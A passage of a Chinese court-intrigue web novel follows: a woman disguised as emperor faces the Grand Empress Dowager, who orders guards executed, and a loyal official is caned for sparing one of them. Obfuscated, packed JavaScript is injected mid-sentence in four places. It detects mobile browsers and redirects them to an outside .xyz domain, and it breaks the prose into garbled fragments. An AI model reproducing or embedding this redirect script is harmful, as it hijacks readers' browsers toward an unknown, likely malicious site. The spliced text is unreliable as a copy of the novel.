她的字早已写得和已故皇太孙一模一样,就连跟随皇太孙很久的楚秋筠也分不出真假。战事一起,她很久都没有临过帖了。 她随意抽出一张洒金笺,上面写着一首《薤露》。 薤上露,何易晞。 露晞明朝更复落,人死一去何时归? 她抬起头时,白檀的冷香从紫金错博山炉袅袅透出,如一匹极轻的丝帛在空中飘荡,翻卷成各种形状。 烟气在空气中散尽,如同一场空梦,不留任何痕迹。 现在她使用了萧樗的名字,学会了那纤美流丽的金钩细字体,成了大楚皇帝。似乎他哥哥的过去也被抹去,如飞烟消散一般,什么也没剩下。 她是女子,无法让宫中后妃诞下子嗣。只要她死去,这萧氏的江山终不免旁落外姓之手。 她此刻竟生出一丝妄想,希望他的哥哥真的在尘世间留下些什么,甚至妄想齐宝珠带回的那个孩子真的是哥哥的孩子。 *** 五日后,猎场行刺一案有了结果。太常丞李敬玩忽职守,致皇家猎场潜入北魏刺客,被革职下狱,流放交州;负责猎场防务的大小官员,一律免职。太常卿齐梁作为一署长官,御下不严,致使出此纰漏,予以申饬并罚俸六个月。 这便是齐阀给朝廷上下的最终交代。 萧含光面无表情,在中书省送来的呈文上,用朱笔批了一个“准”字,命人将此呈文与其他奏章一起,送至太皇太后所在的椒房殿。太皇太后盖上玉玺,送回中书省,一场皇帝遇刺的大案,就这样落下帷幕。 两日之后,后宫中出了另外一件事。 居住在玉烛殿的皇后齐宝珠某日早上突然疯病发作,看着熟睡的小皇子说他不是自己的孩子,她狠狠掐着孩子的脖子,差点将这个年仅六个月的孩子掐死。 之后,太皇太后以照顾皇嗣不力为由,赐死了澹台夫人。又以皇后身体不适,不适合亲自抚养皇嗣为由,将小皇子带回椒房殿,亲自抚养。 萧含光听到这个消息时,正在御书房中临帖。 正是盛夏的正午,她却仿佛瞬间置身三九寒冬之中。她对澹台夫人仅有一面之缘,谈不上什么好感。但一个活生生的人并没有什么过错,就这样悄无声息地死在宫廷之中,还是让她感到一阵刺骨的寒意。 这一场刺杀大案,前朝轻轻放下,后宫中却有人为此付出性命。 太皇太后赐死澹台夫人,将那个六个月的孩子养在自己身边,才是就猎场行刺一案对自己的弟弟以及齐阀的警告。 宫廷的游戏规则不同于前朝,它以更隐秘的方式存在。当权力的博弈发生在有血缘关系的亲人之间,常常更黑暗、更污浊、更血腥。 两日之后,太皇太后召豫章王之次子萧愫、长沙王第三子萧悯入朝,加封萧愫为宗正卿,加封萧悯为少府,命他们各自携带家眷子女入金陵。 在齐阀势大的当下,太皇太后不得不拉拢她素来不喜的萧氏皇族,用来制衡齐家的野心。 萧含光心中明白,这也是太皇太后对她的保护。太皇太后不得不做出这样的姿态,一旦皇帝意外身亡,太皇太后宁愿从皇室旁支选择嗣君,也不会选择齐家的那个孩子。 这天下午,萧含光下朝回到正光殿后不久,夏从德前来传讯,太皇太后请她去椒房殿。 萧含光行至椒房殿门口,闻到一股异香。太皇太后从前惯用沉水香,清幽醇厚,给人以宁静之感,这种新的香料更加馥郁冷冽,钻入鼻腔之后,让人立时清醒,夏日午后的倦怠也顷刻消散。 她小声问夏从德,道:“太皇太后燃的什么香?” 夏从德道:“回皇上的话,夏日昼长,太皇太后午后常觉神思疲倦。前日召见灵宝观的真一道长,真一道长给太皇太后进献了五真香,用以提神醒脑。” 萧含光进入椒房殿时,太皇太后齐明霜一如既往地端坐于凤座之上。她的面容比上次更显苍老。前朝后宫诸事繁杂,让这位年逾六十的老妇人颇有力不从心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376719|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之感。 萧含光行礼之后,侍立一旁,问道:“太皇太后今日召见,不知有何大事?” 皇太后命人将铜雀香炉移到凤座一侧,觉头脑略清明了些,开口道:“近日以来,哀家确实有一桩心事要问皇帝,只是诸事繁杂,拖延至今天。但是,今日宋海晏尚在金陵,现在问也不算晚。” 萧含光听到“宋海晏”三个字,心中一跳。还没等她缓过神来,太皇太后冷冽的声音再次传来:“皇帝在覆舟山的猎场两次遇险,都是宋海晏相救。他是不是知道了些什么,你们是否私下里有所往来?” 太皇太后生性多疑,宋海晏两次“恰好”救驾,已经引起她的怀疑。 萧含光知道此刻绝不能让太皇太后看出半点心虚,她屏气凝神,缓声道:“太皇太后明鉴,朕与宋海晏并无往来。朕第一次遇险在林中凉亭,宋海晏恰好与中书舍人裴光献在林中漫步,见鹿奔于亭,所以一箭将其射杀。至于第二次……” 她声音一顿,第二次宋海晏怎么会出现猎场外围的树林中她并不知晓,之前也没有想过。但此时细思,也并非没有答案。大抵是宋海晏见她离开猎场,所以在山林中隐匿跟随。只不过他是步行,又需隐藏行迹,是以落在后面,等到刺客杀尽羽林卫、紫乔重伤昏迷之际,才恰好赶到。 但这样的话绝不可对太皇太后宣之于口,她脑筋急转,想要编一个合适的理由,太皇太后威严的目光已落了下来:“皇帝如果是想编一个谎话,瞒骗哀家,就不必白费心力了。皇帝和宋海晏早有暗中往来,若非紫乔报信,哀家还一直蒙在鼓里。” 太皇太后冷声道:“夏从德,去请紫乔进来——”夏从德领命,匆匆离去。 片刻之后,紫乔走进椒房殿。她面色依旧苍白,经过数日的医治,虽然已经能够行动如常,但伤势显然还未痊愈,脚步有些虚浮。 她走到太皇太后身前,轻轻跪伏下去。太皇太后看着她,目光中带着一丝审视:“紫乔,将你那天在猎场看到听到的事情,向皇帝再说一遍……” 紫乔的身体微微起伏,“是。属下那天受了毒伤,意识还存有一丝清醒。属下看到……”她声音颤抖:“属下看到陛下和小宋将军……抱在一起……小宋将军唤陛下为‘阿幸’……” 萧含光的脸像冻上了一层寒霜。她万没想到那日紫乔并未彻底昏迷,看到了那天发生的事,还将这一切暗中禀报给了太皇太后。 太皇太后或许并不会拿她怎么样,但为了隐瞒消息,或许会杀宋海晏灭口。如果宋海晏已经离开金陵还好说,可如今军粮尚未转运完毕,现在他还留在金陵。 她的掌心瞬间溢出一层细汗。 太皇太后又道:“紫乔伤愈苏醒之后,就将此事禀报给哀家。哀家心中生疑,便下令彻查后宫,这一查之下还真有不少收获。宋家献俘那天,宫中夜宴,宋海晏醉酒,内监周群将他扶到东宫属殿,据周群所言,他吃了宋海晏相赠的鹿脯,随即人事不知。而正光殿那晚当值的羽林卫听到號鸟的叫声。他们四处寻找那只號鸟,却再也没有出现过……哀家又问起楚秋筠,她说那晚曾听到皇帝的寝殿传来声音……” 太皇太后的声音极冷:“皇帝竟敢让宋海晏知道你的身份,还和他私会——” 39. 第二十一章 火宅寰中 萧含光紧咬下唇,面色灰死。 宫中的一切,都在太皇太后执掌之中。凡是发生过的事,只要太皇太后有心去查,便无可隐瞒。 她扑通一声跪下,声音颤抖:“请太皇太后明鉴,宋海晏只是因为婚约未成,心有遗憾,所以才夜闯宫闱。如今几个月过去,他并没有将我的身份告知任何人。我可以为他担保,他一定会保守秘密……请太皇太后饶他一命……” 炉中香膏即将燃尽,椒房殿内那股馥郁冷冽的异香渐渐稀薄,只余几缕残烟如游丝般在殿梁间缠绕。 太皇太后的目光多了几分倦怠:“皇帝不用担心,哀家不会杀他。宋家父子对北伐至关重要,就算为了北伐大业,哀家也不会选择在这个时候动手……” 殿内的空气似乎松动了些,太皇太后的声音忽然放轻,“阿樗,你起来吧。哀家今日问你此事,不是要追究谁的责任。只是想要教你一个道理——” 萧含光起身时,太皇太后的目光已从她身上移开,落到紫乔身上。 “紫乔,你可还记得,那天在椒房殿,哀家让你和葛巾两人以后跟着陛下,只忠于陛下一人,只听从陛下一人的命令,你还记得吗?” 紫乔脸色一白,“属下……记得。” 太皇太后声音重新冷了下来:“所以,你知道了皇帝的秘密,就应该让这个秘密烂在肚子里,不让任何人知道,你怎么会想到向我告密呢?” “那是因为……”紫乔想要解释,声音急切而慌乱:“今年正月初九,宋海晏在金陵城东买了一座园邸,从金陵的驿馆搬出……属下和妹妹葛巾两人奉太皇太后您的命令……” 她还没有说完,就被太皇太后打断道:“哀家曾经命令你和葛巾二人暗中监视宋海晏,你知道哀家想确认宋海晏是否知道皇帝的身份。所以,你在猎场发现了陛下的秘密之后,想要到哀家跟前邀功请赏,所以便背叛了陛下,是吗?” 紫乔听到这话,身形一僵。 她此刻终于明白,自己将皇帝的秘密告知太皇太后,非但没有任何嘉奖,反而犯了太皇太后的大忌讳。她的头重重磕在地上,咚咚作响:“太皇太后饶命,属下知错——” 太皇太后面无表情地看着她,眼神中没有一丝怜悯:“一次不忠,百次不用。来人,将她处置了吧——” 很快,椒房殿的暗处浮现另外几道人影,他们都穿着和紫乔一样的暗卫服饰,这几人熟练地将紫乔架了出去。 萧含光远远听到不知何处传来一道极短促的惨呼。 之后,椒房殿重归于死寂。唯有影壁前的青铜连枝灯静静燃着,白荧荧的烛火纹丝不动,将殿内陈设映照得格外清晰。 太皇太后凤座旁的那尊铜雀香炉,此刻正散发着最后一丝余温,袅袅青烟在灯影中扭曲变形,最终消散无踪。 萧含光的藏在袖中的指尖微微发颤。 平心而论,紫乔固然是背叛了她,可一条活生生的人命在宫廷中悄然消逝,还是让她感到不寒而栗。 太皇太后沉缓的声音再次响起,“阿樗,你知道哀家为什么将紫乔和葛巾指派到你的身边吗?” 萧含光压下心中惊惧,答道:“因为太皇太后曾经派她们监视宋海晏,她们跟在朕的身边,如果找不到宋海晏和朕往来的证据,那说明宋海晏已经接受了现实,这是最好的结果……如果她们发现了证据,多半会忘记您的警告,到椒房殿告密……因为讨好太皇太后您多半可以得到好处,但是替朕保守秘密并没有什么好处。紫乔只是没有想到,您会因此杀了她。” 萧含光低垂眉目,用尽可能平稳的声音道:“在宫廷之中,任何人都可能背叛。要时刻保持小心与警惕,不可露出丝毫的破绽。这应该便是太皇太后今日想要教给朕的道理……” 太皇太后向她投来赞赏的目光:“阿樗,看来这几个月你大有长进。但是你理解得还是太浅了……” 太皇太后嗓音沉了下来:“阿樗,权力天生带着血腥味。登上皇帝的宝座,同时也意味着身边再也没有可以相信的人,连至亲之人都会背叛你。皇帝要习惯这种感觉,才能坐稳这江山……这才是哀家今日要教给你的道理……” 她从凤座之上站起,声音浑厚顿挫:“阿樗,你抬起头来。看着哀家的眼睛。” 萧含光强迫自己抬头,再次与那双幽黑深沉的目光对视。 太皇太后居高临下,凝视着皇帝。她声如洪钟,一字一顿道:“陛下,你不是坐在御座之上,而是坐在火宅之中。” 萧含光脑子嗡的一声。 她看到那双干瘪苍白的嘴唇上下翕合着,有那么一个瞬间,她觉得自己根本没有听到太皇太后在说什么。 可当她回神之时,那句话的余音依旧在椒房殿久久回荡。 仿佛恶魔的低语,又仿佛某种命定诅咒。 陛下,你不是坐在御座之上,而是坐在火宅之中。 “火宅”是佛家譬喻。 萧含光曾在药师庵修行,通晓这则典故。是说三界众生,为五浊八苦所煎逼,而不得安隐,犹大宅被火所烧,而不能安居。 青铜灯架的烛火在一刹那间摇曳起来,刹刹荧荧。那火苗似乎舔砥在她心上,让她想起早逝的哥哥、发疯的皇后、无辜被赐死的澹台夫人以及方才被暗卫拖走的紫乔。 火宅。 这座金陵的皇宫,本身就是一座巨大的火宅。任何人走入其中,都不得脱出。 她感到一阵眩晕,又强自撑住:“萧樗谨记太皇太后的教诲。” 宫女走近,在香炉中添入篆香,青烟扶摇而上,冷香透入鼻息。 这时,押走紫乔的几名暗卫去而复返,为首一人奏道:“太皇太后,紫乔的后事已经处理完毕,属下特来复命。” 太皇太后微微颔首,道:“你们四人今后就顶替紫乔、葛巾的位置,跟随保护皇帝。哀家对你们的要求,同她们两人一样。她们的殷鉴不远,你四人好自为之。” 四位暗卫一同走到萧含光面前,单膝跪下,道:“属下等四人参见陛下,我等四人今后只忠于皇帝一人,只听从皇帝一人的命令,永不背叛。” 太皇太后满意点头:“很好,你们有此觉悟,哀家心中甚慰。对了,还有一件事,请皇帝亲自下令,紫乔和葛巾是一对亲姐妹,姐姐既然背叛,妹妹也没必要再留。陛下这便下旨,将她一并处置了吧——” 萧含光如遭雷殛,她后退一步,勉强稳住身形,双唇嗫嚅,想要说些什么,但终究一句话也说不出来。 她想说,就算紫乔背叛,葛巾也是无辜的。 她想说,葛巾曾经救过她的性命,为此身受重伤,她不能杀一个救了自己的人。 但是。 太皇太后不会愿意听到这些。 太皇太后坐在火宅之中,与亲者相仇,与爱者相间,视无辜者的性命如草芥。 现在太皇太后要将这座火宅传给选中的继任者,她想要继任者做到同样的残忍。 明明太皇太后可以直接处置此事,却一定要她亲自下令杀人。 皇帝要习惯这种感觉,才能坐稳这江山…… “朕……朕……” 萧含光艰难开口,却根本吐不出一个完整的词。她希望自己此时能晕过去,偏偏保持着清醒。 太皇太后的脸上冷若寒霜,椒房殿的气氛也渐渐冷了下来。 然后是长久的静默。 太皇太后并不催促,她唤宫人伺候茶水,一盏复一盏。 萧含光双腿立得酸麻,背汗湿衣。她咬着干枯的嘴唇,始终无法说出太皇太后想要听到的话。 不知过了多久,一道声音响起。 夏从德悄无声息进入,奏报道:“启禀太皇太后,中书侍郎齐韶正在椒房殿外,求见太皇太后。” 太皇太后一怔,“齐韶,他这个时候过来干什么?”她放下茶盏:“请他进来吧。” 齐韶入殿,他跪下行礼:“臣齐韶,参见太皇太后,参见陛下。” 太皇太后微微抬手:“你平身吧。” 齐韶并未起身,他跪伏再拜:“臣特来向太皇太后请罪,臣已经私下将葛巾放走了。” 太皇太后剑眉一挑,声音含着薄怒:“你说什么?” 齐韶额头触地:“臣曾仰赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看向依然跪在地上的青年,“齐韶,你素来最知道哀家的心思。哀家每拿起一颗棋子,你都知道落点在哪里,提前做好正确的布置。说吧,这次为何相悖?” 齐韶微微抬头:“太皇太后担心齐家势大,怕山陵崩后,陛下无法挟制司徒公。因此您希望陛下拥有和您一样的心智和手腕,能够担当大任。但太皇太后应该听过揠苗助长的故事——” 太皇太后托着茶杯的手一僵,片刻之后道:“你继续说。” 齐韶道:“陛下长于药师庵,曾传承医术,治病救人。她现在还动不了杀人的心肠,太皇太后现在逼迫她,只会适得其反。臣以为,太皇太后对皇帝过于严苛了。幼禾还未长成,太皇太后应该帮助她扎稳根系,而不是因为对将来的忧虑,便将秧苗拔起。就算一时之间,看起来更高,但伤了主根,终究无法结出硕果。” 太皇太后若有所思。 她站起身来,在逼仄的回廊间来回踱步,最后,她停留在齐韶身前,说道:“齐韶,你是哀家的心腹重臣。如今却处处为皇帝考虑。你难道忘了,当初是谁在你穷途末路之时,救了你的命,给了你如今的身份和地位吗?” “臣一日不敢或忘。太皇太后命臣辅佐陛下,臣自然一心为了陛下,不然,臣与私下到椒房殿告密的紫乔又有何不同?”齐韶挺直背脊,与太皇太后对视,声音不疾不徐:“太皇太后既然不能容紫乔的背叛,那就应该能容臣之悖逆。” “能言善辩,无人能及你。” 太皇太后啧叹道:“齐韶,哀家几乎都被你完全说服了……也对,你应该也知道皇帝和宋海晏之间的事,你就不曾告密,还处处周全。” 太皇太后再次回到凤座上,“你说得没错,哀家能够容你,也能理解你今日的做法。但有些事情,只要发生一次,就像扎入心中的一根尖刺,若不拔除,心中难安。” 齐韶再次俯首:“臣请太皇太后用重刑,拔除心中尖刺。” 太皇太后目光在齐韶身上停留片刻,随后微微偏头,对着殿外高声道:“来人,杖责三十!” 40. 第二十二章 君王之德 从江南各郡调来的粮草陆陆续续运抵金陵,它们被转运到石头津,装载上大船,渡过长江,再运往北方的前线。由于数量巨大,光是船舶转运就花费了整整三天。 第三天的黄昏时分,金陵下了一场小雨。宋海晏登上最后一艘运粮船,渡江向北。 裴光献撑着一柄青竹伞到津口相送。他带了两壶金陵特产的好酒“青玉醅”,将一壶扔给船上的宋海晏,另一壶自饮。 他举酒相祝道:“海晏,我不是武人,也不懂军事。只是因为家族的余荫,到金陵来当个不大不小的官儿。但我生在襄阳,也曾听过胡马的鸣镝声。我的父亲临终之前,一直念着一首诗,那首诗我现在还记得,‘高台不可望,望远使人愁。连山无断绝,河水复悠悠。所思竟何在,洛阳南陌头。可望不可见,何用解人忧’。南朝并非只有皇帝和太皇太后期望着收复中原。我知道我说这些轻飘飘的没有一点重量,但是我今日来送你,只为了说一句话。” 襄阳裴氏的源流是河东裴氏,他们这一支南下并没有到江东,而是定居在襄阳。自裴光献的祖父开始,裴家子孙历代都有人在金陵出仕。 裴光献将壶中之酒一饮而尽,放声道:“海晏,盼我们能在洛阳再见。” 宋海晏站在船头,看向远方载满粮草的船队。船上是江南各郡刚刚收割不久的夏粮,为了凑齐中路军需,江南的百姓在接下来的几个月或许便得节省口粮。 两百余年,并非南人忘记北方,而是世家溺于权势,耽于享乐,不愿向北。 他那颗沉甸甸的心在此刻到底生出几分慷慨来,他撕开酒封,将那清冽绵长的美酒浇灌在喉头,对裴光献道:“裴兄,盼我们能在洛阳相见。” 军士摇动船橹,岸边的裴光献在雨中渐小渐远,最后变成一个模糊的黑点。 江南湿漉漉的细雨落在他的甲衣、头发上,凝成小小的水珠,军士唤他入船舱内避雨,他摇了摇头,一直伫立在船头。 举身向北,目光在南。 但北去的舟船上看不到金陵的宫阙,他只能在心中遥念着那个不可宣之于口的名字。 阿幸,盼我们能在洛阳相见。 …… 同样的雨落在金陵宫中。 起初不过几点细珠,落在滚热的大理石地板上,激起细小的银花,旋即破灭,只留一个黯淡的湿斑。随后便是细密的银丝,被风吹得歪斜,扫在雕花槅窗上,沙沙地响。 萧含光在书房中临写字帖。 羊毫笔饱蘸浓墨,笔尖悬在纸面上方,迟迟未能落下。墨汁在毫端凝聚,终于不堪重负,滴在洒金笺上,晕开一片浑浊的灰黑。 她蹙眉搁笔,将金纸揉成纸团,扔进废纸篓中。 她重新取过一张新纸,欲要下笔,终究是心思惶乱,无法入静。 白令瑶撑着一把伞,匆匆步入殿中,奏道:“启禀陛下,椒房殿那边有了消息,太皇太后对齐大人用了刑,齐大人昏迷不醒。太皇太后命人将齐大人送回清曜殿,又传了御医治伤。不久之前,御医刚刚离开。” “朕去看看他。”萧含光扔下手中之笔,奔出殿外。她来不及传御辇,命宫人取了一把伞便匆匆步入夜雨中。 萧含光进入大殿时,并无人通传。 檐下执事的内监看到,急匆匆跪下,大声道:“陛下驾到——” 萧含光收了伞,问道:“齐大人在何处?” 那内监恭敬禀道:“在内殿西边。” 萧含光进入内殿时,几名服侍的小太监已跪在门口,齐声道:“参见陛下——” 西侧靠窗处摆着一张卧榻,榻上铺着素色麻布,齐韶正俯卧其上。他身上的官袍已换成白色单衣,后背处隐隐透出淡红的血痕。榻边矮几上燃着一盏烛火,旁边放着药碗,碗底残留着深褐色的药汁,散发出苦涩的气息。 他见皇帝进来,便挣扎着想要起身,一时牵动伤处,那双素来不动的眉折了一下,显出痛色来。 萧含光挥手命小太监们退下,轻声道:“齐韶,朕来看你,你不必起来。” 齐韶用手撑着床榻,屈膝,将臀部放在双足上,这是一个跽坐的姿势。虽然多少牵动背部伤势,但是他不肯失了臣下的礼节,他面朝皇帝行礼,道:“陛下。” 他面色苍白如纸,唇上几乎没有血色,那双惯常沉静如水的眼睛此刻也失了神采,眼睑微微泛青,衬得眉骨处的轮廓愈发嶙峋,他缓了一口气,又道:“陛下不用担心,太医已经用过药了。伤势并不重,几天就可以痊愈。” 他说话时,额角沁着细密的冷汗,在烛光下泛着微弱的光。不知牵扯到哪里,他身形几不可察的颤抖了一下,随之汗水凝结成珠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394041|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着脖颈滚落。 萧含光呼吸发紧,却伫立原地,静静瞧着跪坐的人,并不说话。 又或者,她并不知此时此刻该说些什么。 齐韶与葛巾并不熟悉,他如此做,只是为了替她解围。如果她肯早点下令,齐韶就不必受刑,可再来一次,她还是无法下令。她脸上浮现出愧疚的神色,却并不知自己该为了什么而愧疚。 齐韶见皇帝如此模样,叹息一声,道:“陛下不了解太皇太后,我今日忤逆,有损太皇太后的威严,太皇太后必不能容忍。如果她不肯用刑,以后不会再信任我。她打了我一顿,这件事才算真正过去了。她以后应该不会再逼迫陛下做您不愿意做的事,葛巾的事,也会就此一笔勾销。” 萧含光深吸一口气,感觉胸口闷痛缓了一些,问道:“那你呢?你为什么要这么做,你明知道会受杖责,为什么非要去忤逆太皇太后?” “为了葛巾,也是为了陛下您。”齐韶挺立脊骨,“陛下,君王之德,莫大于仁。那天,陛下在石头津纡尊降贵,亲自替江北来的微贱流民施针治伤。齐韶见到了陛下的仁心,也下定决心为陛下效命。” 他微微顿了顿,缓了口气,继续道:“如今,陛下慢慢参与朝事,会有诸多的不得已。臣不希望陛下因为不得已,失去了原本的仁心。” “如果需要有人为了这颗仁心付出代价,臣希望,那个人是我。” 仁心。 萧含光咀嚼着这个词。 她看向齐韶的眼睛。 那双墨色的瞳仁无悲无喜,仿佛毫无情绪,只有世事洞明的澄澈。正如它的主人,处事淡然,却有着最玲珑的心肠。 可那人却甘受挞楚,只愿从世间最污浊之处,捡起一颗仁心来。 她心中感佩,已非言语可以表达。她两手交握,拱于前胸,深深一揖。 齐韶眼中第一次流露出震惊来。 “陛下,不可——” 可萧含光已经深躬了下去。 他低低叹息了一声,将左手按于右手,身体前倾,不顾背上如火灼般的痛楚,对着皇帝拜了回去。 雨水敲击着窗棂,细碎的滴答声渐渐连成一片绵密的沙响。 一对君臣,一揖一拜,在这寂然天地间,共听一窗檐雨。 待到天明,大抵便是晴日了。 41. 第二十三章 云旗烈烈 许昌郡距洛阳城二百五十里,为汉魏故都,昔年曹孟德迎汉献帝之所。晋室南迁之后,北方大地陷入十六国的混战泥沼,这片名为许地的沃土,先后历经后赵、前燕、前秦、后燕、后秦、西魏、北魏等诸多势力的更迭与占据,城头旗帜频繁变换,见证了无数的兴衰荣辱。 如今,许昌城头猎猎飘扬的,是彰显宋家军威的“宋”字大旗。 五月底,粮草具足之后,宋家大军从沈丘开拔,一路攻城拔寨,在两天前占领了这座洛阳东南方向最大的郡城。 大军将在许昌休整三日,继续西进鲁阳,与荆州都督何长龄率领的西路军会合,再挥师北上洛阳。 陆思明骑马出城,向西而行。未久,见到前方尘土飞扬,远方一骑驰如急电,那马颈鬃逆立如刀,蹄下弥漫成雾,转瞬便掠过大片荒原。 整个庐江军中,能驾驭这般快马之人,唯有宋海晏。 陆思明驻马,扬声高喊:“阿晏。” 片刻后,那匹枣红马停在陆思明身前,发出一声长嘶。宋海晏勒住马缰,面露惊讶之色:“思明,你怎会在此?” 两马并辔往许昌城而行。 陆思明道:“是舅父命我出城寻你,说是庐江方面来信,舅父让你尽快回营——” “哦?”宋海晏脸上绽放笑颜:“碧棠又来信了?可知是什么事?” 陆思明皱着眉道:“舅父没说,但他看信后脸色不太好,命我出城寻你回去,估计不是什么好消息……” 宋海晏脸上笑容收敛,一夹马腹,人已在数丈以外。 陆思明一挥马鞭,急忙跟上,“阿晏,等等我——” 宋海晏进入中军主帐,见军中数位大将俱在,父亲宋寒章站在行军图前,面沉如水。 他单膝着地,拱手行礼道:“父亲。” 宋寒章抬手示意他起身,问道:“鲁阳那边情形如何?” 宋海晏答道:“孩儿见到了西路军驻守鲁阳的副将武元策将军,武将军称西路军已掌控从鲁阳到南阳一带之地。只是,中路大军在沈丘耽搁将近一月,北魏已在洛阳城南方构筑三道防线。其一,于嵩县、汝阳、汝州三座小城,各驻军近万,作为外围第一道防线;其二,在洛阳城南的伊川驻军五万,以便随时驰援嵩县、汝阳、汝州三城;其三则是在洛阳修筑工事,加强城防,以备坚守,洛阳守军数量尚不清楚。武将军认为,只要我军与西路军会合,互为犄角,突破前两道防线并非难事。” 他稍作停顿,又道:“武将军还说,何都督听闻我军攻下许昌,已在赶往鲁阳的途中,准备为父亲您接风洗尘。若无意外,三日后,我们便能见到阿舅了——”说到此处,宋海晏难掩兴奋之情。 江陵何氏虽然是荆楚大族,但这一代的嫡支只有何长龄和何秀龄兄妹俩人,兄妹俩人自幼感情极好。后来何秀龄嫁入庐江宋家,常常思念家乡,每年都会带几个孩子回江陵小住,短则一个月,长则小半年。 何长龄十分喜爱宋海晏这个外甥,曾亲自教他骑马射箭。操练军队时,也常带他一同前往。直至宋海晏十三岁后,常年征战在外,甚少前往江陵。算起来,宋海晏已有两年多未见到舅父。如今重逢在即,怎能不激动万分? 上首,宋寒章脸上并无欣悦之色,他眉头深拧成“川”字形,沉声道:“恐怕我军去不得鲁阳了——” 宋海晏脸色骤变,急切问道:“为何?” 宋寒章将一封书信置于案头,道:“刚收到碧棠传来的消息,北魏驻守邺城的大将拓跋雄率两万骑兵急速南下,五日前已抵达淮水以北,我军在淮水以北的两座要塞凤台、临远已然失守。如今庐江大军皆在许昌,一旦拓跋雄部渡过淮水,庐江危在旦夕,我宋家两百年基业也将毁于一旦。” 宋海晏展开书信,露出难以置信的神色:“怎会如此?按军报所言,齐栋率领的东路大军就在我军后方,他们为何未拦截拓跋雄的大军?” 宋寒章怒声道:“齐氏狼子野心,若不是他们在军粮一事上故意刁难,我军早已兵临洛阳城下,又怎会有今日之局。齐栋乃庸才,空占五兵尚书之位,军务上一塌糊涂,让他与拓跋雄的骑兵正面交锋,他怎敢——”他长叹一声,“我已决定,撤军回庐江,先迎战拓跋雄的大军。” 宋海晏心中一凉:“那北伐之事怎么办?我们中路撤军,又该如何向朝廷交代?” 他五月回过金陵,自然知晓朝廷上下对北伐寄予何等厚望。若中路大军一撤,西路的何长龄也只能撤军,士气一散,再难凝聚。 如今朝廷在这场大战中投入巨大,国库几近空虚,若是无功而返,恐怕十年内难以再组织大军北伐。而北伐失败,率先撤军的宋家必定会遭人诟病。 宋寒章又岂会不知其中利害,但庐江乃祖宗基业,实在无法弃之不顾。他站在行军图前,愁眉不展,再三踌躇,最终道:“无论如何,庐江是我宋家立足之本,万万不能有失。若能保住宋家基业,十年二十年之后,朝廷再有北伐之意,我宋家还能整军再次北上。若是失去庐江,我宋家将一无所有——” 宋海晏的心彻底沉入谷底。 他和阿幸有洛阳之约。十年二十年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401166|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁月蹉跎,红颜老矣,她能等他那么久吗? 此时,帐中将领有一人说道:“将军,末将有一言,不知当讲不当讲?” 说话之将领名为赵金镝,也是宋寒章的妹夫。赵家是淮南寿春的大族,与舒城陆家一样,依附宋家,世代通婚。宋寒章有两个妹妹,一个嫁入寿春赵家,一个嫁入舒城陆家。此番北伐,赵金镝为偏将军,率自家部曲五千人,在帐下听用。 宋寒章道:“金镝有说直说便是。” 赵金镝道:“依末将之见,北伐与庐江并非不可兼顾。” 宋寒章道:“如何兼顾?” 赵金镝道:“拓跋雄的骑兵有两万人,若在北方平地,确实难以对付。但淮南水系密布,骑兵优势难以发挥。寿春北临淮水,乃淮南第一道防线。我赵家这些年与北魏作战,在边境修筑了大量坞堡,若凭借坞堡坚守,两万人足以抵御拓跋雄的两万骑兵。如今我军有六万人,将军您不妨亲率两万大军,回庐江布防。少将军率领剩下的四万人,前往鲁阳与何将军会师,一同北上洛阳——” 宋寒章心中犹豫,道:“这如何使得,海晏到底年少,他从前只领过一千人,如何能指挥数万大军?” 一旁,陆思明之父陆元恺道:“将军,末将也觉得金镝所言有理。到了鲁阳,便可与荆州何都督的大军会合。何都督掌控荆州军事多年,经验老到,谋略过人,又是少将军的舅父,少将军若有不足之处,何将军自会在旁提点。少将军少年英武,能得军中上下信服,又有我等从旁辅佐,必定不会有事。” 宋寒章平日倚重赵金镝、陆元恺两位妹夫,对他们的建议向来十分重视。宋海晏见两人都反对直接撤军,心中又燃起一丝希望。 